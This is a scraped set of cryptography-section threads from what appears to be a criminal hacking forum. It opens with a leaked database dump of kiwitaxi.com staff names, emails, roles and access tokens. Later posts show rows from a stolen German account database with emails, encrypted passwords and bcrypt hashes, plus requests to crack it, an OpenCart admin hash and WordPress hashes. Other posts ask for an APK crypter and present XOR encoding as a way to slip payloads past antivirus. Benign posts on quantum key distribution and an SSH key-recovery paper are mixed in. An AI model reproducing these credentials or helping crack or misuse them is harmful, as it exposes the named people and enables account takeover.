[{ "name" : "oauth2", "data" : { "provider" : "google", "username" : "eldar.karamov@kiwitaxi.com" }, "expires" : ISODate("2019-01-06T06:45:12.029Z"), "access_token" : "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJLaXdpVGF4aSIsInN1YiI6IjVhMjkyMGZhZTQ5MmQ1MDA0OTAzNmRiMyIsImV4cCI6MTU0Njc1NzExMiwiaWRlbnRpdHkiOiJlbGRhci5rYXJhbW92QGtpd2l0YXhpLmNvbSIsInByb2ZpbGUiOnsibmFtZSI6IkVsZGFyIEthcmFtb3YiLCJsYXN0TmFtZSI6bnVsbCwiZW1haWwiOiJlbGRhci5rYXJhbW92QGtpd2l0YXhpLmNvbSIsInBob25lIjpudWxsLCJsZWdhY3lVc2VySWQiOm51bGwsInRheGlJZCI6bnVsbH0sImNvbXBhbnkiOnsiaWQiOm51bGx9LCJyb2xlcyI6WyJraXdpdGF4aTpzYWxlLW1hbmFnZXIiLCJraXdpdGF4aTp1c2VyIiwia2l3aXRheGk6Y29ycC1tYW5hZ2VyIiwia2l3aXRheGk6YWZmaWxpYXRlLW1hbmFnZXIiLCJraXdpdGF4aTpjb3Vwb24tbWFuYWdlciJdfQ.8nfxQFslcXMDCmH6KJGjSLiUXzRqcHNFtyboJWEnBIE" }]    { "name" : "Eldar Karamov", "email" : "eldar.karamov@kiwitaxi.com" }    "eldar.karamov@kiwitaxi.com"        "Eldar Karamov"   
[{ "name" : "oauth2", "data" : { "provider" : "google", "username" : "dmitriy.epifanov@kiwitaxi.com" }, "expires" : ISODate("2019-01-07T09:59:50.365Z"), "access_token" : "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJLaXdpVGF4aSIsInN1YiI6IjVhMjkyMGZhZTQ5MmQ1MDA0OTAzNmRiNCIsImV4cCI6MTU0Njg1NTE5MCwiaWRlbnRpdHkiOiJkbWl0cml5LmVwaWZhbm92QGtpd2l0YXhpLmNvbSIsInByb2ZpbGUiOnsibmFtZSI6IkRtaXRyaXkgRXBpZmFub3YiLCJsYXN0TmFtZSI6bnVsbCwiZW1haWwiOiJkbWl0cml5LmVwaWZhbm92QGtpd2l0YXhpLmNvbSIsInBob25lIjpudWxsLCJsZWdhY3lVc2VySWQiOm51bGwsInRheGlJZCI6bnVsbH0sImNvbXBhbnkiOnsiaWQiOm51bGx9LCJyb2xlcyI6WyJraXdpdGF4aTpzdXBwb3J0LW1hbmFnZXIiLCJraXdpdGF4aTp1c2VyIiwia2l3aXRheGk6c2VuaW9yLXByb2R1Y3QtbWFuYWdlciIsImtpd2l0YXhpOnByb2R1Y3QtbWFuYWdlciIsImdkczphY2NvdW50LW1hbmFnZXIiXX0.dXOCLYL_4h77FOTqP3FV3xac7lzoBQkIXBX1UHZnqV0" }]    { "name" : "Dmitriy Epifanov", "email" : "dmitriy.epifanov@kiwitaxi.com" }    "dmitriy.epifanov@kiwitaxi.com"        "Dmitriy Epifanov"   
[{ "name" : "oauth2", "data" : { "provider" : "google", "username" : "buh@kiwitaxi.com" } }]    { "name" : "buh", "email" : "buh@kiwitaxi.com" }    "buh@kiwitaxi.com"        "buh"   
[{ "name" : "oauth2", "data" : { "provider" : "google", "username" : "julia@kiwitaxi.com" } }]    { }

Есть вот такой формат слива бд, как я понял это что-то около json, но не совсем, помогите плиз кому не сложно, объясните как из такого формата сделать нормальный csv???

Перехват SSL/TLS
ID: 676536fbb4103b69df37375f
Thread ID: 107452
Created: 2024-02-04T12:59:11+0000
Last Post: 2024-02-04T15:22:40+0000
Author: foxxof
Replies: 3 Views: 399

Интересеут есть ли где нормальные мануалы на тему перехвата SSL/TLS через прокси?

как расшифровать номер или что за кодировка?
ID: 676536fbb4103b69df3737f2
Thread ID: 72965
Created: 2022-09-09T19:40:44+0000
Last Post: 2022-09-13T14:51:09+0000
Author: ConnectXSS
Replies: 6 Views: 396

примеры кодировок:
\xD3\xB42bP\xCD\x02\x86\x0C\x1B\xD7t\xB2G0IV\xF7\xC6\x94w\x
\xF9\xED:\xA9\x98\x18\xA8\x0A\xC7\x92&\x8E\x800\xD5\xE7_j\x

как расшифровать?

Помошь в определении и расшифровке хеша
ID: 676536fbb4103b69df373819
Thread ID: 65024
Created: 2022-03-30T14:31:46+0000
Last Post: 2022-03-31T16:23:54+0000
Author: DoNTANGeL
Replies: 12 Views: 396

Code:Copy to clipboard

?{/ffX_1U,gU,L,%/%7|,kZ8ISGGpBf/vC3J0PI/ng3_ss6^2F

Сам хеш выше
это пароль админа на сайте
база данных Mysql
CMS: opencart
никогда такого не видел кто хоть чем-то поможет буду благодарен

Veracrypt при переносе на другой SSD
ID: 676536fbb4103b69df373716
Thread ID: 127964
Created: 2024-11-30T21:23:54+0000
Last Post: 2024-12-20T01:39:07+0000
Author: ips
Replies: 3 Views: 395

Любезно приветствую!
При переносе инфы с старого SSD на новый SSD копировать лучше побайтово или криптовать новый SSD верой заново, а потом скопировать данные со старого? Как безопаснее?

Крипт APK
ID: 676536fbb4103b69df373850
Thread ID: 56307
Created: 2021-09-05T14:27:45+0000
Last Post: 2021-09-07T21:18:40+0000
Author: Kalash
Replies: 2 Views: 394

Ищу хорошего криптера apk файла

Quantum Key Distribution: Beginner's Guide to the Future of Cybersecurity 1/2
ID: 676536fbb4103b69df373730
Thread ID: 125413
Created: 2024-10-23T17:15:49+0000
Last Post: 2024-10-23T17:15:49+0000
Author: Shootem
Prefix: Статья
Replies: 0 Views: 392

Author : Shootem
Specifically for: xss.is

Table of Contents :

  1. Introduction to QKD
  2. Current state of quantum technologies
  3. Importance in critical infrastructure
  4. Implementation Sectors
  5. Quantum Fundamentals
  6. Understanding superposition
  7. Quantum entanglement explained
  8. Heisenberg 's uncertainty principle
  9. No-cloning theorem and its implications
  10. Einstein 's "spooky action at a distance"
  11. Development of quantum protocols
  12. Evolution of quantum cryptography
  13. Technical Specifications
  14. QBER definition and significance
  15. Key rate equations
  16. Practical implementation parameters
  17. QKD Protocols Overview
  18. Discrete/Continuous Variable protocols (DV-QKD) / (CV-QKD)
  19. Protocol comparison and applications
  20. Current Limitations
  21. Future Implications
  22. Impact on cybersecurity
  23. Integration with existing systems

Click to expand...

Hello everyone! Today, I will focus on Quantum Key Distribution (QKD), as of all the technologies based on quantum mechanics, theory, and research, this one is the most empirically confirmed. It is also the most likely to be quickly implemented in the most sensitive infrastructures. In this first part 1/2 of the article, I will focus on general theory, basics, and potential implementations, and in part 2, I will specifically address potential vulnerabilities and attacks on this technology.​

QKD is currently in various stages of implementation and testing in the following sectors :
Energy Sector:

Confirmed implementation at China State Grid
Pilot projects under EuroQCI
Security tests on SCADA systems in selected locations

Financial Sector:
Implementation in select banks in China (Bank of China, ICBC)
Pilot projects in other financial institutions
Security tests for high-value transactions

Military Infrastructure:
Research and development conducted by defense agencies
Demonstrations of the technology in satellite communications
Investments in quantum threat countermeasures

Telecommunications Sector:
Commercial deployments by China Telecom
Pilot projects with BT and Toshiba
Tests in backbone networks

So, let's begin!
QUANTUM KEY DISTRIBUTION (QKD):

The act of safely exchanging a secret key between users over an insecure channel. Quantum key cryptography relies on quantum physics, specifically the quantum laws that complicate power consumption increases through quantum polarization. Fiber optic channels are used to transmit messages. In 1984, Quantum Key Distribution was first introduced, when Gilles Brassard and Charles Bennett developed the BB84 protocol. After the development of this protocol, many others followed. It is very difficult for attackers to eavesdrop on fiber optic channels. If a message is corrupted or attacked, the amount of corruption can be detected. This is used in BB84. Entangled objects shared between users form the basis of the Entanglement-Based (EB) protocol.

Click to expand...

(this fragment was quoted from this source: https://core.ac.uk/download/pdf/329118533.pdf)

Code:Copy to clipboard

|ψ⟩ = α|0⟩ + β|1⟩, where |α|² + |β|² = 1

This quantum state represents the fundamental unit of quantum information (qubit).
1729699601817.png

To understand how this works, I must discuss the basic principles on which this distribution is based and why it is considered the highest known level of security in data transmission. Let's start with the most important concept—** superposition :** Imagine a coin. A normal coin has two sides: heads and tails. Before you toss it, you don’t know which side will be up, right? It could be heads or tails. You could also say it’s in an intermediate state, where it’s both heads and tails—until you check it. This is somewhat like superposition.
1729700632268.png
In the quantum world, instead of coins, we have particles, such as photons (particles of light). These particles can also be in multiple states "at once" until we measure them. For example, they can be in a superposition of polarization, vibrating both vertically and horizontally at the same time. Only when we "check" (measure) them do they "decide" on a specific state—vertical or horizontal.

QKD (Quantum Key Distribution) is a way to create a super-secret key to encrypt messages, thanks to superposition and another quantum trick called "entanglement". Entanglement : is like two magical coins that always land on the same side, no matter how far apart they are. Imagine you have one coin, and your friend has the other—on another continent! When you toss your coin and get heads, you instantly know that your friend’s coin is also heads, even though they haven’t tossed theirs yet. And the same goes if it were tails. It’s as if these coins are connected by an invisible thread and "talk" to each other instantly!

In the quantum world, entangled particles, like photons, behave similarly. If you measure the state of one entangled photon (for example, its polarization), you immediately know the state of the other entangled photon, even if it’s light-years away. You might think this sounds a bit "magical," but that’s how the quantum world works. And it’s this quantum entanglement, along with superposition, that makes QKD so secure. Any attempt to "eavesdrop" on these entangled photons by an outsider "breaks" them and changes their state, immediately revealing the presence of a spy. Speaking of measurement, let’s move on to Heisenberg’s Uncertainty Principle :

This principle, in short, tells us that in the quantum world, you can’t simultaneously know certain pairs of properties of particles, such as position and momentum (speed), with precision. The more accurately you know one, the less accurately you know the other. This isn’t due to imperfect instruments; it’s a fundamental property of the universe and a limitation of nature! Imagine it like this: you’re trying to take a photo of a small, fast hamster. You want to know where it is and how fast it’s running. The problem is, if you use a fast shutter speed to see exactly where it is, the hamster will be blurry, and you won’t know how fast it’s running. And if you use a long exposure to see how fast it’s running, the hamster will have moved, and you won’t know exactly where it was when you took the picture. 1729700966243.png

The last fundamental concept is the No-Cloning Theorem: Imagine you have a magic playing card that changes color every time you look at it—sometimes it’s red, sometimes blue, sometimes green. And you want to make a perfect copy of it. The problem is, every time you try to "read" it to copy it, its color changes! You’ll never be sure what color it originally was, so you’ll never make a perfect copy.

The no-cloning theorem in quantum mechanics states that you can’t make a perfect copy of an unknown quantum state, just like you can’t copy the color of this magic card. This is key to QKD security: if someone tries to "eavesdrop" on a quantum message (i.e., make a copy), they irreversibly change its original state, which the sender and receiver will immediately detect. It’s as if someone destroyed your magic card by trying to copy it.
1729701403178.png
As you now understand, thanks to superposition and entanglement, QKD allows the creation of a key that only the sender and receiver know is secure, and thanks to the No-Cloning Theorem, anyone who tries to intercept it will be instantly detected.

One last thing I’d like to mention on this topic is a brief history. Remember the "magic coins" I mentioned? Einstein had something very interesting to say about this phenomenon (quantum entanglement)—he called it "[spooky action at a distance.](https://cms.cern/news/spooky-action-distance-between-heaviest- particles)" Why spooky? Because even one of the greatest physicists in history was deeply troubled by this phenomenon! Einstein couldn’t grasp how it was possible that when you toss your coin, you instantly know that your friend’s coin also landed the same way, even though they hadn’t tossed theirs yet, and they’re thousands of kilometers away!

According to Einstein’s theory of relativity, nothing can travel faster than light—it’s the cosmic speed limit. And yet these entangled particles seem to "know" about each other instantly, no matter the distance between them. It’s as if they’re connected by some invisible, instantaneous bond that breaks the rules of relativity!
But here’s a small catch (there’s always one, right?). Even though these particles behave in such a strange way, we can’t use them to send messages faster than light. It’s a bit like twins who always dress oppositely—if one wears a black shirt, the other will definitely wear white. But until they meet and compare outfits (in our case, compare measurement results), we don’t know which twin is wearing which color!

Einstein remained skeptical of quantum mechanics for the rest of his life, precisely because of these "spooky" behaviors. He believed there must be some "hidden variables"—something we hadn’t discovered yet—that would explain these strange phenomena in a more "normal" way. However, experiments conducted many years later (especially those related to [Bell’s inequalities](https://www.quantamagazine.org/how-bells-theorem-proved-spooky- action-at-a-distance-is-real-20210720/)) showed that Einstein was wrong—the quantum world really is as strange as it seems!​

QBER (Quantum Bit Error Rate) is a key parameter determining the quality of quantum transmission:

Code:Copy to clipboard

QBER = (number of erroneous bits) / (total number of received bits)
Typically, an acceptable QBER for secure transmission is < 11%.

The equation for determining the theoretical key generation rate (Key Rate) in the BB84 protocol is:

Code:Copy to clipboard

R = q(-Qμ f(Eμ)H2(Eμ) + Q1[1-H2(e1)])

where:

  • q is the protocol efficiency factor (for BB84 q = 1/2)
  • Qμ is the gain coefficient
  • Eμ is QBER
  • f(x) is the error correction efficiency
  • H2(x) is Shannon’s binary entropy
  • Q1 is the probability of detecting a single photon
  • e1 is QBER for single photons

Key protocols used for QKD are divided into two main categories, discrete variable (DV-QKD) and continuous variable (CV-QKD):
DV-QKD:

BB84(Most common): The pioneering protocol, using the polarization of single photons. The sender (Alice) sends photons encoded in randomly chosen bases (e.g., vertical/horizontal or diagonal), and the receiver (Bob) randomly chooses measurement bases. After transmission, Alice and Bob publicly compare chosen bases, discarding results from incompatible bases. The remaining results form the raw key. Security is based on the uncertainty principle (mentioned earlier) and the No-Cloning Theorem—an eavesdropper (Eve) attempting to intercept and copy the photons will introduce detectable errors. 1729701523888.png

E91(Ekert91):
Uses entangled pairs of photons. Alice and Bob each receive one photon from the entangled pair and perform measurements in different bases. Security arises from the violation of Bell's inequality in the event of eavesdropping. Eavesdropping is detected through statistical analysis of the correlations between Alice's and Bob's measurements.

SARG04 :
A modification of BB84, it uses only one basis for encoding information and the other as "bait" for the eavesdropper. This increases efficiency compared to BB84 but is slightly less resistant to noise.

CV-QKD:

GG02 (Grosshans & Grangier 02):
Utilizes quadrature components of coherent light (lasers). The key is encoded in the amplitudes and phases of light pulses, measured by Bob. Security is based on the uncertainty principle for continuous variables. This protocol is relatively easy to implement using standard telecommunications technology.

There are also hybrid protocols and other variants, but the ones listed are the most significant and representative of different approaches to QKD.

Practical Implementation Details:

Existing QKD Networks:

  • Tokyo QKD Network: Operational since 2010, connecting multiple research institutions
  • China's Beijing-Shanghai Backbone: World's longest QKD network (2,000+ km)
  • European QKD Networks: Several test networks in operation (SwissQuantum, SECOQC)

Quantum Memory in QKD
Quantum memory is crucial for extending QKD networks:

  • Allows storage of quantum states for repeater operations​

  • Current limitations: Short coherence times (microseconds to milliseconds)​

  • Research focus: Room-temperature quantum memories using diamond NV centers
    1729702678005.png

of course QKD is not perfect on every level and like any new technology, it requires solving currently known problems, the most problematic of which are:
Range Limitations, current practical limitations:

  • Direct fiber links: ~100 km without quantum repeaters
  • Satellite QKD: Limited by atmospheric conditions and satellite visibility

Implementation Challenges:

  • Detector technology limitations
  • Environmental interference
  • Need for dedicated fiber lines
  • Cost of single-photon sources

Integration with Existing Infrastructure: Integrating QKD with existing communication infrastructure can be challenging and require significant modifications.

Conclusions:

QKD has enormous potential in ensuring the security of information transmission. Although there are technological and economic challenges, intensive research and development are driving progress in terms of range, cost, and integration. QKD is a technology worth attention and further development. This article aimed to present a realistic approach to the practical application of quantum mechanics in cybersecurity. It is no longer science fiction but a fact—facts that could be widely applied in the future. Anyone attempting to break or compromise such a system will need to understand technical aspects that go beyond basic computer science or mathematics and delve into quantum mechanics. Early familiarity with the topic may, or rather will, be crucial for the future of cybersecurity and cyber warfare.

the website I used to generate the diagrams : translator.globe.engineer

Что за шифровка?
ID: 676536fbb4103b69df37381a
Thread ID: 64884
Created: 2022-03-27T10:29:37+0000
Last Post: 2022-03-28T17:58:07+0000
Author: YoungHustler
Replies: 7 Views: 390

MZmzNSOD24VIMtl0sDabRdzumP35wGD/u0+j4WvEfG7+XklQ+DVBRzqlawwBkDXEcSOzn+4dtGaDEHSO9R9rEA==
Чем это зашифровано? Похоже на base64, но не оно. Может ли эта шифровка быть с клбчом и должен ли быть этот ключ в бд сайта для функционирования?
Расшифровка имеет вид ключа, без непонятных символов. По типу:
pEYXmapVpBEILIJ3nnNfwJKYrNkecQVgJ17VuA5KmUTWkg6SEjqn7EyXohFIVL9A

hashcat issue
ID: 676536fbb4103b69df37383a
Thread ID: 59332
Created: 2021-11-25T20:37:47+0000
Last Post: 2021-12-05T08:00:23+0000
Author: nimrod313
Replies: 2 Views: 390

hey guys
for few days I installing and re installing drivers for nvidia always come in the end to
C:\Users\User\Desktop\hashcat-6.2.5>hashcat.exe -m 22000 -a 3 C:\Users\User\Desktop\hashcat-6.2.5\handshake2.hc22000
hashcat (v6.2.5) starting

Successfully initialized NVIDIA CUDA library.

Failed to initialize NVIDIA RTC library.

  • Device #1: CUDA SDK Toolkit not installed or incorrectly installed.
    CUDA SDK Toolkit required for proper device support and utilization.
    Falling back to OpenCL runtime.

nvmlDeviceGetFanSpeed(): Not Supported

OpenCL API (OpenCL 3.0 CUDA 11.5.107) - Platform #1 [NVIDIA Corporation]

  • Device #1: NVIDIA GeForce GTX 970M, 5504/6143 MB (1535 MB allocatable), 10MCU

Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Optimizers applied:

  • Zero-Byte
  • Single-Hash
  • Single-Salt
  • Brute-Force
  • Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Initializing backend runtime for device #1. Please be patient...

I'm searched for answer but didn't find does someone can tell me how fix it or send me some thing to read that I could fix it I'll very appreciate

Passive SSH Key Compromise via Lattices.
ID: 676536fbb4103b69df373770
Thread ID: 102205
Created: 2023-11-13T23:02:23+0000
Last Post: 2023-11-13T23:02:23+0000
Author: ice80
Replies: 0 Views: 387

https://eprint.iacr.org/2023/1711.pdf

doi.org

Passive SSH Key Compromise via Lattices | Proceedings of the 2023 ACM SIGSAC Conference on Computer and Communications Security

![doi.org](/proxy.php?image=https%3A%2F%2Fdoi.org%2Fpb-assets%2Fhead- metadata%2Ffavicon-32x32-1574252172003.png&hash=8cc39ed17193c085a11142796dd761e7&return_error=1) doi.org

...passive network attacker can opportunisti-
cally obtain private RSA host keys from an SSH server that expe-
riences a naturally arising fault during signature computation.

...RSA digital signatures can reveal a signer’s secret key if a computa-
tional or hardware fault occurs during signing with an unprotected
implementation using the Chinese Remainder Theorem and a de-
terministic padding scheme like PKCS#1 v1.5. This attack requires only a
single faulty signature, the public key, and a single GCD compu-
tation, and it has been exploited extensively in the cryptographic
side channel literature on active fault attacks

...research identified four manufacturers of devices susceptible to
this key recovery attack. We disclosed the issue to Cisco on February
7, 2023 and to Zyxel on March 1, 2023.

Spoiler: credits

Credits:
------------------------------------------------
Keegan Ryan
kryan@ucsd.edu
University of California, San Diego
La Jolla, California, USA
Kaiwen He
khe01@mit.edu
University of California, San Diego
La Jolla, California, USA
Massachusetts Institute of Technology
Cambridge, Massachusetts, USA
George Arnold Sullivan
gsulliva@ucsd.edu
University of California, San Diego
La Jolla, California, USA
Nadia Heninger
nadiah@cs.ucsd.edu
University of California, San Diego
La Jolla, California, USA

CCS ’23, November 26–30, 2023, Copenhagen, Denmark
© 2023 Copyright held by the owner/author(s).
ACM ISBN 979-8-4007-0050-7/23/11.

doi.org

Passive SSH Key Compromise via Lattices | Proceedings of the 2023 ACM SIGSAC Conference on Computer and Communications Security

![doi.org](/proxy.php?image=https%3A%2F%2Fdoi.org%2Fpb-assets%2Fhead- metadata%2Ffavicon-32x32-1574252172003.png&hash=8cc39ed17193c085a11142796dd761e7&return_error=1) doi.org

[/HIDE]

hash wp
ID: 676536fbb4103b69df373774
Thread ID: 101599
Created: 2023-11-04T14:37:52+0000
Last Post: 2023-11-04T20:37:02+0000
Author: Leonard123
Replies: 4 Views: 383

Привет, подскажите вот что, запускаю hashcat со списком хэшей, из 5 хэшей он опознаёт только 1. Что это может быть?
$P$BexbbmAAO7WLwP3EPO8e6x1RUf7BxJ/
$P$B5mgAQ3LLY1QTVudcYBjHYtpqE3N9V
$P$BQHsNzZz83Wu4THHc2k7uHsvZv/UqV.
$P$BrCTz3K0dUPba5cjlwI295lO1NM3MS1
$P$B./ACTHCwMk/yn7u0b/9Hs8JKwkLlz0
$P$BZhvT5mzhsUD8DHQCcZy/bcZlawT3R0

Кто работал с hashtopolis, помогите решить проблему.
ID: 676536fbb4103b69df373794
Thread ID: 92807
Created: 2023-07-12T22:10:35+0000
Last Post: 2023-07-13T11:15:26+0000
Author: HNH CRYPTO
Replies: 4 Views: 380

Когда запускаю процесс, не важно какие маски выдает такое. Что с этим делать?
Что только не попробовал, сломал голову.

1689199787094.png1689199775551.png

Cracking exe protected with zip password
ID: 676536fbb4103b69df37380f
Thread ID: 64569
Created: 2022-03-21T06:53:25+0000
Last Post: 2022-05-27T21:03:42+0000
Author: Aster
Replies: 5 Views: 380

Hej,
Sama nie dam rady, czy ktoś może mi pomóc?
Mam w środku plik .zip z chronionym hasłem .exe.

[ Pls_crack.zip - AnonFiles

](https://anonfiles.com/h3NcN4P2x5/Pls_crack_zip)

anonfiles.com anonfiles.com

Определить метод хеширования
ID: 676536fbb4103b69df373767
Thread ID: 104125
Created: 2023-12-15T14:07:52+0000
Last Post: 2023-12-15T15:00:37+0000
Author: ovonel
Replies: 3 Views: 377

Добрый вечер, есть дамп с 4 таблицами и кол-ом строк соответственно:

Hidden content for authorized users.

Code:Copy to clipboard

| accs                           | 28843   |
| accs_08062021                  | 25024   |
| accs_old                       | 23957   |
| accs1                          | 23093   |

Пример таблицы accs1:

Hidden content for authorized users.

Code:Copy to clipboard

mail,pw,pwhash,token,un
peter.meiss@12move.de,Qd1XuhM4sJL=,<blank>,e711e7c23b872162c6582558,1b00fa79
Dennis.Deitrich@gmx.de,KCME5pTPM0V=,<blank>,ff8a67dd8b975fa6dadc5217,Dennis
blume@tirolerjungs.de,K11c76sK,<blank>,e2eb8747a2265923fe3afe34,tirolerjungs
languageservice@web.de,FHXwaibC,<blank>,f4e55fa58d29b741661b846a,lilly12345
kreberh@aol.com,JaB+DrRGA2L=,<blank>,69bf8bfe6d6d7fe65bad258b,a75afdbb

Пример таблицы accs_old:

Hidden content for authorized users.

Code:Copy to clipboard

mail,pw,pwhash,token,un
love.oz@web.de,Pm4Gb1Ac0hp=,<blank>,f763286238e3b7646972fc3d,451d37de
ms.kirsch@t-online.de,KrxaGu6kR38=,<blank>,3dc5d5466e54ea92631a647d,155c635a
p.stieger@web.de,JOU+uo46Bjp=,<blank>,ec3addfd651132516f9fdf73,p.stieger
ejst@gmx.at,GpvQcKVFOD==,<blank>,993b549ece54fd4a66fdb965,boarder160
khb59@web.de,PBkAOpJXnxR=,<blank>,5e224a466ed6115dbc1a4487,f6abe997

Пример таблицы accs_08062021:

Hidden content for authorized users.

Code:Copy to clipboard

mail,pw,pwhash,token,un
diana_domig@hotmail.com,PiljZQtQF4b=,$2y$10$AMChB1TYfl7xiXq3lmg6pe.ttFde\\/tCHole6R8PutK9AdgjSwLAUa,79699f76779b73631263d96b,4139673a
illogic@gmx.at,PBg7c4GJPO0=,$2y$10$IKf1Ys7M6wgTh9L20fKAXOmJK\\/rnruuRFtT5eTtiWEvI4TsAr\\/GgG,33f82bc71a38ef7de159376d,f7b23c28
boeair@aon.at,FHmtixtP7Tb=,$2y$10$22feWVVYRWnISyUPrqIZSODbLaRhjygdnk49Fqe7KYCDTB2YzQjPO,1be5c5236d37ebb68bd6c59f,boeair
h.h.menche@freenet.de,Gq2vGsTL,$2y$10$cCg3OEO1Fqxz0RK3fsFc8ueISUsKtlG.sg\\/eTpWKtjlfASafyTceq,4d8536fbd77fa2b8d2ced5e9,hhmensch
starrunner2you@web.de,PB17jg6eIuL=,$2y$10$hzVHKaYN\\/PhGAJRaDipPD.w0rKCl9lmv6IkNkilZKgvrRnwjYTZRG,e56a66f13ab89b3649b415e5,7e82794c

Пример таблицы accs:

Hidden content for authorized users.

Code:Copy to clipboard

mail,pw,pwhash,token,un
michi_caro@freenet.de,nC3NQDnFMbZ=,$2y$10$g2tkw6A7qt3T\\/yC35eb2a.GNudFVzeM2ZJnxRJoSaOzPKYNciJfSm,6bdb5b123cb1eb446b4d87c3,mjh0YO95iUexWHyl
drescher@umd.de,O2AbTzA0cy4=,$2y$10$6sKE7\\/i0qJS7ZxI.ySa90.ryBgVF6j3LRc2XBtWxx\\/mQAFy.n744W,d6691eb28d1e42af6695bb6f,FInEB6g5FbxuLyQP
Blackmel@web.de,qXuPza+GfQZ=,$2y$10$\\/862x5HCDsMWoo5P4rV2i.bvrtUT3e\\/DfJJ8O9w\\/x20VixAnBfeKG,66dfd2f636b521351f21a98e,hNF2l0S6TD0UOFl4
a.feilmair@t-online.at,QPT5TiaH,$2y$10$VAjC6LFvu5HrhDkAvRQy8eRS6.o36uoVDTETuIeT8fMhatQ21BIbe,fcc2fb6b4e2dc74b7a3e54a7,asterix
F-H.Klaiber@t-online.de,GpyMuT8=,$2y$10$EwAer4lH7jbUpSkFcRNmJO3MUIn1ItYBDOA4NR4Am9.58Cnx1XtKq,25b5cc36da64afbba5428c93,yakitori

В последней таблице больше всего строк, значит она самая свежая. К тому же в ней есть bcrypt hash, а первых его нет. Там просто удалили столбец или они как-то шифровали/хешировали без bcrypt?

Вопрос, могу ли я как-то подобрать пароли от первых двух таблиц? Есть кто возьмется помочь? Поделюсь базкой.

P.S. Если получится найти свой акк в бд - дополню.

Basics of XORing
ID: 676536fbb4103b69df37376c
Thread ID: 103453
Created: 2023-12-04T00:32:45+0000
Last Post: 2023-12-04T00:32:45+0000
Author: BADREDDINE
Replies: 0 Views: 376

In a recent tutorial, I showed you how to use shikata_ga_nai to change the signature of a payload to evade detection by security devices (firewalls, IDS, etc.) and AV software.

Shikata_ga_nai is an encoding module in Metasploit that XORs the payload through multiple iterations (the number of iterations is up to you), thereby changing the payload's signature. When the payload bypasses the security devices and the AV software, it then reverses the XORing and the payload is executed normally on the victim's system.

From the questions and comments I received on that guide, it became apparent that not all of you are familiar with this concept of XOR. This guide is dedicated to those of you who are not familiar with this common technique in information technology, and as refresher for those who are.

What Is XOR?

XOR stands for eXclusive OR. In logic and in everyday language, an OR can mean that either statement is true or both are true. In other words, the statement will evaluate to true if any of the statements are true. So, if I say, "The sky is cloudy OR the sky is blue," it will evaluate to true if either statement is true or if the sky is blue AND cloudy.

The exclusive OR makes a distinction between these two and means only the case where one of the two statements is true. It is used throughout computing for numerous purposes, including the encryption of the payload using shikata_ga_nai, error checking, and setting parity bits on a RAID, among many other things.

As you know, computers operate with millions of on/off switches. Modern computers uses transistors to operate these on/off switches, but of course, early computers used vacuum tubes and any on/off switch would suffice.

These on/off switches are represented by a single bit that is often represented by an o. That bit can be on or off. If it is off, it is represented with a 0 (zero) and if it is on, it is represented with a 1 (one). Additionally, the 0 represents false and the 1 represents true. It might help you to remember this by thinking of the question, "Is the switch on?" True if it is "on" (1), and false if it "off" (0). Hope that helps.

Boolean Algebra

Boolean algebra is the algebra of statements that evaluate to either true or false. This is useful in computing because we can represent these two states (true or false) by a single bit. When the statement is false, it is represented by a zero (off) and when it is true it is represented by a one (on).

Truth Table

In logic and computing, we often use what are known as truth tables. These truth tables represent all the possible cases and whether they would evaluate to true or false, hence the name "truth tables". In the case of XOR, there are only four possible cases as illustrated below.

Note that whenever the two inputs are the same (00, 11) they evaluate to false. whenever the two inputs are different (10, 01) the XOR evaluates to true. So, to summarize, same is 0 and different is 1.

XOR Cipher

The XOR cipher is a relatively simple cipher that encrypts the input by using a key that is then XORed against the input to create an output. For example:

One of the advantages of the XOR cipher is that it is simple and fast. In addition, it does not need a separate algorithm to decipher it, as all systems can XOR. This is why it works so well in Metasploit's shikata_ga_nai encoding.

XOR in RAIDS

XOR is used in RAID levels 3–6 for creating parity information. RAID 1 is mirroring the hard drive, which means we need twice as many drives (and cost) to create fault tolerance. On the other hand, parity information is used to make certain that if one drive fails, the original information can be recovered. In this way, the RAID has fault tolerance without a huge additional expense.

For example, a RAID can assure the recovery of bytes 10011100 and 01101100 from two (or more) hard drives by XORing these bytes, resulting in (11110000) and writing it to another drive. In a RAID 3 arrangement, this is a separate drive. In a RAID 5 arrangement, as illustrated above, the parity is interspersed among the drives.

Under this method, if any one of the hard drives are lost, the lost byte can be recreated by XORing bytes from the remaining drives. For instance, if the drive containing 01101100 is lost, 10011100 and 11110000 can be XORed to recover the lost byte.

XOR in Error Checking

XORing is also implemented in CRC, or cyclic redundancy check, a common method in computing to detect whether any accidental errors have entered the data. CRC is used for error checking in TCP, hard drives, cell phones, and nearly every other type of data transmission. Although the mathematics are beyond the scope of this tutorial, suffice to say that at least, in part, CRC uses XOR.

I hope this short tutorial on XOR is helpful and enlightening to my novice hackers, as XOR is used throughout IT and hacking. It is especially important in exploit and payload obfuscation to avoid detection by security devices and AV software.

Программа L_LUX.exe
ID: 676536fbb4103b69df373805
Thread ID: 68863
Created: 2022-06-18T15:50:04+0000
Last Post: 2022-07-01T17:07:53+0000
Author: pavilion13
Replies: 1 Views: 374

Для выполнения лабораторной работы по криптографии необходима программа l_lux.exe.
Нигде не могу ее найти. Подскажите, что за программа и где ее можно скачать?

ECC Public Key Cryptography
ID: 676536fbb4103b69df373771
Thread ID: 102136
Created: 2023-11-12T18:20:01+0000
Last Post: 2023-11-12T18:20:01+0000
Author: TCG
Prefix: Мануал/Книга
Replies: 0 Views: 370

github.com

[ GitHub - FuzzySecurity/Magikarp: ECC Public Key Cryptography

](https://github.com/FuzzySecurity/Magikarp)

ECC Public Key Cryptography. Contribute to FuzzySecurity/Magikarp development by creating an account on GitHub.

github.com github.com

1699813178716.png

Посоветуйте библиотеку / фреймворк для разработки SMPC приложений.
ID: 676536fbb4103b69df37377e
Thread ID: 97646
Created: 2023-09-09T01:03:32+0000
Last Post: 2023-09-10T14:02:45+0000
Author: 0africa
Replies: 1 Views: 369

Язык желательно Go, но не критично.

ChatGPT выдал следущие варианты:

Secure Multi-Party Computation (SMPC) is a field of cryptography that enables multiple parties to jointly compute a function over their inputs while keeping those inputs private. There are several software libraries and frameworks available for implementing SMPC protocols. The choice of the best library depends on your specific use case, programming language preference, and performance requirements. Here are some of the notable SMPC libraries and frameworks:

